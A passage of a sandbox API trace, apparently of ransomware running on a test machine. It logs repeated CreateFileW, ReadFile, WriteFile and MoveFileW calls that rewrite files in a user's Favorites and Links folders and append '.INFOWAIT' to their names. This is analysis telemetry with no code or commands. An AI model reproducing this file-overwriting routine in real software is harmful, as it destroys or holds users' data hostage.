lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.824] CloseHandle (hObject=0xad0) returned 1 [0119.829] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" [0119.829] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.INFOWAIT" [0119.829] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.infowait")) returned 1 [0119.830] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.831] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.831] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.831] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.832] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.832] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.832] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.835] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.836] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.836] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.836] CloseHandle (hObject=0xad0) returned 1 [0119.841] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" [0119.841] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.INFOWAIT" [0119.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.infowait")) returned 1 [0119.842] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.843] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.843] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.844] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.845] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.845] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.848] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.848] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.848] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.848] CloseHandle (hObject=0xad0) returned 1 [0119.850] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" [0119.850] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.INFOWAIT" [0119.850] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.infowait")) returned 1 [0119.851] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.852] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.852] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.857] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.857] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.857] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.860] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.860] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.861] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.861] CloseHandle (hObject=0xad4) returned 1 [0119.862] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" [0119.862] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.INFOWAIT" [0119.862] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.infowait")) returned 1 [0119.862] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.863] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.864] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.865] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.865] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.865] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.865] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.868] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.869] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.869] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.869] CloseHandle (hObject=0xad4) returned 1 [0119.870] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" [0119.870] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.INFOWAIT" [0119.870] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.infowait")) returned 1 [0119.886] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.887] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.887] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.887] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.887] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.888] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.888] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.891] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.891] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.891] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.891] CloseHandle (hObject=0xad4) returned 1 [0119.892] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" [0119.892] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.INFOWAIT" [0119.892] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.infowait")) returned 1 [0119.893] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.894] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.894] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.894] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.896] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.896] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.896] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.896] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.899] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.900] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.900] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.900] CloseHandle (hObject=0xad4) returned 1 [0119.906] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" [0119.906] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.INFOWAIT" [0119.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.infowait")) returned 1 [0119.907] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.908] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.909] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.909] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x244 [0119.909] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.909] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.909] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x244, lpOverlapped=0x0) returned 1 [0119.912] VirtualAlloc (lpAddress=0x0, dwSize=0x244, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.913] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.913] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x244, lpOverlapped=0x0) returned 1 [0119.913] CloseHandle (hObject=0xad4) returned 1 [0119.915] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" [0119.915] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.INFOWAIT" [0119.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini.infowait")) returned 1 [0119.916] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.917] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.917] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.919] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1e6 [0119.919] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.919] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.919] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1e6, lpOverlapped=0x0) returned 1 [0119.922] VirtualAlloc (lpAddress=0x0, dwSize=0x1e6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.923] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.923] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1e6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1e6, lpOverlapped=0x0) returned 1 [0119.923] CloseHandle (hObject=0xad0) returned 1 [0119.924] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" [0119.924] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.INFOWAIT" [0119.924] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk.infowait")) returned 1 [0119.924] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.925] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.926] 